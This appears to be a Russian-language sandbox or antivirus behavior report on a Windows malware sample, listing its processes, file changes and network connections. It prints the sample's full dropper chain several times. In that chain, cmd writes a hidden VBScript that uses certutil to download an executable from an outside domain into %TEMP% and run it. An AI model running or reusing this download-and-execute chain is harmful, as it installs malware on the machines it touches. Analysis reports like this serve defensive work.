Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c echo CreateObject("WScript.Shell").Run "cmd.exe /c certutil.exe -urlcache -split -f " + "https://teleldyne.com/paytm/jarred.exe" + " " + "%temp%\bin.exe", 0, True > %temp%\script.vbs && ech...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\script.vbs
Удаляет следующие файлы
- %TEMP%\script.vbs
Сетевая активность
Подключается к
- 'te###dyne.com':443
TCP
Другие
- 'te###dyne.com':443
UDP
- DNS ASK te###dyne.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "%TEMP%\script.vbs"
- '<SYSTEM32>\cmd.exe' /c echo CreateObject("WScript.Shell").Run "cmd.exe /c certutil.exe -urlcache -split -f " + "https://teleldyne.com/paytm/jarred.exe" + " " + "%temp%\bin.exe", 0, True > %temp%\script.vbs && ech...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c certutil.exe -urlcache -split -f https://teleldyne.com/paytm/jarred.exe %TEMP%\bin.exe' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c %TEMP%\bin.exe' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\timeout.exe' 3
- '<SYSTEM32>\cmd.exe' /c certutil.exe -urlcache -split -f https://teleldyne.com/paytm/jarred.exe %TEMP%\bin.exe
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://teleldyne.com/paytm/jarred.exe %TEMP%\bin.exe
- '<SYSTEM32>\cmd.exe' /c %TEMP%\bin.exe
